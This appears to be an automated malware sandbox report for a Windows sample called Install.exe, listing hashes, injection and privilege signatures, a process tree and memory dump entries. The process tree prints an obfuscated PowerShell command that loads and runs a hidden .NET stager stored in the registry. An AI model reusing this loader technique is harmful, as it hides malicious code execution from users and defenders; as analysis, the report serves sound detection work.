b2cc4454c0a4fc80b1fc782c45ac7f76b1d95913d259090a2523819aeec88eb5

Analysis

max time kernel
61s
max time network
16s
platform
windows7_x64
resource
win7-20240708-en
resource tags

arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system
submitted
20/07/2024, 12:44

Sharing

Copy URL Twitter E-mail

Reason

Machine shutdown

Report Analysis Logs

General

Target

Install.exe
Size

163KB
MD5

1a7d1b5d24ba30c4d3d5502295ab5e89
SHA1

2d5e69cf335605ba0a61f0bbecbea6fc06a42563
SHA256

b2cc4454c0a4fc80b1fc782c45ac7f76b1d95913d259090a2523819aeec88eb5
SHA512

859180338958509934d22dbc9be9da896118739d87727eb68744713259e819551f7534440c545185f469da03c86d96e425cdf5aae3fb027bb8b7f51044e08eaa
SSDEEP

3072:TQpsSyjlzA664oL8tIoDJxGtIVORPrdAHjl3+uwF+iBDZ/wXxnTFKe8kaz:TQpsSyjlzfnoNGxGo6PrdAHwtMxn4e8N

Score

10^/10

Malware Config

Signatures

Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs

description	pid	Process	procid_target
PID 2412 created 428	2412	powershell.EXE	5

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.EXE

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 2412 set thread context of 1836	2412	powershell.EXE	33

Modifies data under HKEY_USERS 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage	powershell.EXE
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 1004519ba2dada01	powershell.EXE

Suspicious behavior: EnumeratesProcesses 8 IoCs

pid	Process
2412	powershell.EXE
2412	powershell.EXE
1836	dllhost.exe
1836	dllhost.exe
1836	dllhost.exe
1836	dllhost.exe
1836	dllhost.exe
1836	dllhost.exe

Suspicious use of AdjustPrivilegeToken 5 IoCs

description	pid	Process
Token: SeDebugPrivilege	2412	powershell.EXE
Token: SeDebugPrivilege	2412	powershell.EXE
Token: SeDebugPrivilege	1836	dllhost.exe
Token: SeShutdownPrivilege	1212	Explorer.EXE
Token: SeAuditPrivilege	860	svchost.exe

Suspicious use of WriteProcessMemory 39 IoCs

description	pid	Process	procid_target
PID 1272 wrote to memory of 2412	1272	taskeng.exe	31
PID 1272 wrote to memory of 2412	1272	taskeng.exe	31
PID 1272 wrote to memory of 2412	1272	taskeng.exe	31
PID 2412 wrote to memory of 1836	2412	powershell.EXE	33
PID 2412 wrote to memory of 1836	2412	powershell.EXE	33
PID 2412 wrote to memory of 1836	2412	powershell.EXE	33
PID 2412 wrote to memory of 1836	2412	powershell.EXE	33
PID 2412 wrote to memory of 1836	2412	powershell.EXE	33
PID 2412 wrote to memory of 1836	2412	powershell.EXE	33
PID 2412 wrote to memory of 1836	2412	powershell.EXE	33
PID 2412 wrote to memory of 1836	2412	powershell.EXE	33
PID 2412 wrote to memory of 1836	2412	powershell.EXE	33
PID 1836 wrote to memory of 428	1836	dllhost.exe	5
PID 1836 wrote to memory of 472	1836	dllhost.exe	6
PID 1836 wrote to memory of 488	1836	dllhost.exe	7
PID 1836 wrote to memory of 496	1836	dllhost.exe	8
PID 1836 wrote to memory of 600	1836	dllhost.exe	9
PID 428 wrote to memory of 1796	428	winlogon.exe	34
PID 428 wrote to memory of 1796	428	winlogon.exe	34
PID 428 wrote to memory of 1796	428	winlogon.exe	34
PID 1836 wrote to memory of 1796	1836	dllhost.exe	34
PID 1836 wrote to memory of 676	1836	dllhost.exe	10
PID 1836 wrote to memory of 752	1836	dllhost.exe	11
PID 1836 wrote to memory of 824	1836	dllhost.exe	12
PID 1836 wrote to memory of 860	1836	dllhost.exe	13
PID 1836 wrote to memory of 972	1836	dllhost.exe	15
PID 1836 wrote to memory of 284	1836	dllhost.exe	16
PID 1836 wrote to memory of 892	1836	dllhost.exe	17
PID 1836 wrote to memory of 1076	1836	dllhost.exe	18
PID 1836 wrote to memory of 1088	1836	dllhost.exe	19
PID 1836 wrote to memory of 1168	1836	dllhost.exe	20
PID 1836 wrote to memory of 1212	1836	dllhost.exe	21
PID 1836 wrote to memory of 2032	1836	dllhost.exe	23
PID 1836 wrote to memory of 1312	1836	dllhost.exe	24
PID 1836 wrote to memory of 1444	1836	dllhost.exe	25
PID 1836 wrote to memory of 2276	1836	dllhost.exe	26
PID 1836 wrote to memory of 2452	1836	dllhost.exe	27
PID 1836 wrote to memory of 1272	1836	dllhost.exe	30
PID 1836 wrote to memory of 1796	1836	dllhost.exe	34

C:\Windows\system32\winlogon.exe
winlogon.exe
1⤵
- Suspicious use of WriteProcessMemory
PID:428
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{cc05654a-8e0e-44b2-91c9-b4d3343e0f0f}
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1836
- C:\Windows\system32\wlrmdr.exe
  -s -1 -f 2 -t You are about to be logged off -m Windows has encountered a critical problem and will restart automatically in one minute. Please save your work now. -a 3
  2⤵
  PID:1796

C:\Windows\system32\services.exe
C:\Windows\system32\services.exe
1⤵
PID:472
- C:\Windows\system32\svchost.exe
  C:\Windows\system32\svchost.exe -k DcomLaunch
  2⤵
  PID:600
- - C:\Windows\system32\wbem\wmiprvse.exe
    C:\Windows\system32\wbem\wmiprvse.exe
    3⤵
    PID:1312
- - C:\Windows\system32\DllHost.exe
    C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
    3⤵
    PID:1444
- C:\Windows\system32\svchost.exe
  C:\Windows\system32\svchost.exe -k RPCSS
  2⤵
  PID:676
- C:\Windows\System32\svchost.exe
  C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted
  2⤵
  PID:752
- C:\Windows\System32\svchost.exe
  C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted
  2⤵
  PID:824
- - C:\Windows\system32\Dwm.exe
    "C:\Windows\system32\Dwm.exe"
    3⤵
    PID:1168
- C:\Windows\system32\svchost.exe
  C:\Windows\system32\svchost.exe -k netsvcs
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:860
- - C:\Windows\system32\taskeng.exe
    taskeng.exe {8DE8F064-1E5F-43BD-AAA8-AB2108894FAA} S-1-5-18:NT AUTHORITY\System:Service:
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1272
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
      C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+'S'+'OF'+'T'+''+'W'+''+[Char](65)+''+[Char](82)+''+'E'+'').GetValue('$'+[Char](55)+''+[Char](55)+'s'+[Char](116)+''+[Char](97)+''+[Char](103)+'e'+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)"
      4⤵
      Suspicious use of NtCreateUserProcessOtherParentProcess
      Drops file in System32 directory
      Suspicious use of SetThreadContext
      Modifies data under HKEY_USERS
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:2412
- C:\Windows\system32\svchost.exe
  C:\Windows\system32\svchost.exe -k LocalService
  2⤵
  PID:972
- C:\Windows\system32\svchost.exe
  C:\Windows\system32\svchost.exe -k NetworkService
  2⤵
  PID:284
- C:\Windows\System32\spoolsv.exe
  C:\Windows\System32\spoolsv.exe
  2⤵
  PID:892
- C:\Windows\system32\svchost.exe
  C:\Windows\system32\svchost.exe -k LocalServiceNoNetwork
  2⤵
  PID:1076
- C:\Windows\system32\taskhost.exe
  "taskhost.exe"
  2⤵
  PID:1088
- C:\Program Files\Common Files\Microsoft Shared\OfficeSoftwareProtectionPlatform\OSPPSVC.EXE
  "C:\Program Files\Common Files\Microsoft Shared\OfficeSoftwareProtectionPlatform\OSPPSVC.EXE"
  2⤵
  PID:2032
- C:\Windows\system32\svchost.exe
  C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation
  2⤵
  PID:2276
- C:\Windows\system32\sppsvc.exe
  C:\Windows\system32\sppsvc.exe
  2⤵
  PID:2452

C:\Windows\system32\lsass.exe
C:\Windows\system32\lsass.exe
1⤵
PID:488

C:\Windows\system32\lsm.exe
C:\Windows\system32\lsm.exe
1⤵
PID:496

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1212
- C:\Users\Admin\AppData\Local\Temp\Install.exe
  "C:\Users\Admin\AppData\Local\Temp\Install.exe"
  2⤵
  PID:3016

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

memory/428-29-0x0000000000C50000-0x0000000000C7B000-memory.dmp

Filesize
172KB

Download
memory/428-25-0x0000000000B00000-0x0000000000B25000-memory.dmp

Filesize
148KB

Download
memory/428-27-0x0000000000B00000-0x0000000000B25000-memory.dmp

Filesize
148KB

Download
memory/428-28-0x0000000000C50000-0x0000000000C7B000-memory.dmp

Filesize
172KB

Download
memory/428-37-0x0000000000C50000-0x0000000000C7B000-memory.dmp

Filesize
172KB

Download
memory/428-39-0x00000000374D0000-0x00000000374E0000-memory.dmp

Filesize
64KB

Download
memory/428-41-0x00000000774E1000-0x00000000774E2000-memory.dmp

Filesize
4KB

Download
memory/428-38-0x000007FEBE4B0000-0x000007FEBE4C0000-memory.dmp

Filesize
64KB

Download
memory/472-62-0x00000000002F0000-0x000000000031B000-memory.dmp

Filesize
172KB

Download
memory/472-68-0x00000000374D0000-0x00000000374E0000-memory.dmp

Filesize
64KB

Download
memory/472-67-0x000007FEBE4B0000-0x000007FEBE4C0000-memory.dmp

Filesize
64KB

Download
memory/472-50-0x00000000002F0000-0x000000000031B000-memory.dmp

Filesize
172KB

Download
memory/488-71-0x000007FEBE4B0000-0x000007FEBE4C0000-memory.dmp

Filesize
64KB

Download
memory/488-72-0x00000000374D0000-0x00000000374E0000-memory.dmp

Filesize
64KB

Download
memory/488-73-0x0000000000240000-0x000000000026B000-memory.dmp

Filesize
172KB

Download
memory/488-70-0x0000000000240000-0x000000000026B000-memory.dmp

Filesize
172KB

Download
memory/488-58-0x0000000000240000-0x000000000026B000-memory.dmp

Filesize
172KB

Download
memory/496-106-0x00000000002A0000-0x00000000002C5000-memory.dmp

Filesize
148KB

Download
memory/496-210-0x00000000002A0000-0x00000000002C5000-memory.dmp

Filesize
148KB

Download
memory/1836-14-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/1836-19-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/1836-22-0x0000000077491000-0x0000000077592000-memory.dmp

Filesize
1.0MB

Download
memory/1836-23-0x0000000077490000-0x0000000077639000-memory.dmp

Filesize
1.7MB

Download
memory/1836-208-0x0000000077490000-0x0000000077639000-memory.dmp

Filesize
1.7MB

Download
memory/1836-10-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/1836-11-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/1836-18-0x0000000077270000-0x000000007738F000-memory.dmp

Filesize
1.1MB

Download
memory/1836-17-0x0000000077490000-0x0000000077639000-memory.dmp

Filesize
1.7MB

Download
memory/1836-16-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/1836-12-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/2412-0-0x000007FEF5B0E000-0x000007FEF5B0F000-memory.dmp

Filesize
4KB

Download
memory/2412-9-0x000007FEF5850000-0x000007FEF61ED000-memory.dmp

Filesize
9.6MB

Download
memory/2412-7-0x0000000077490000-0x0000000077639000-memory.dmp

Filesize
1.7MB

Download
memory/2412-8-0x0000000077270000-0x000000007738F000-memory.dmp

Filesize
1.1MB

Download
memory/2412-6-0x000000001A390000-0x000000001A3BA000-memory.dmp

Filesize
168KB

Download
memory/2412-5-0x000007FEF5850000-0x000007FEF61ED000-memory.dmp

Filesize
9.6MB

Download
memory/2412-4-0x0000000000D30000-0x0000000000D38000-memory.dmp

Filesize
32KB

Download
memory/2412-3-0x000007FEF5850000-0x000007FEF61ED000-memory.dmp

Filesize
9.6MB

Download
memory/2412-2-0x000007FEF5850000-0x000007FEF61ED000-memory.dmp

Filesize
9.6MB

Download
memory/2412-24-0x000007FEF5850000-0x000007FEF61ED000-memory.dmp

Filesize
9.6MB

Download
memory/2412-1-0x0000000019E40000-0x000000001A122000-memory.dmp

Filesize
2.9MB

Download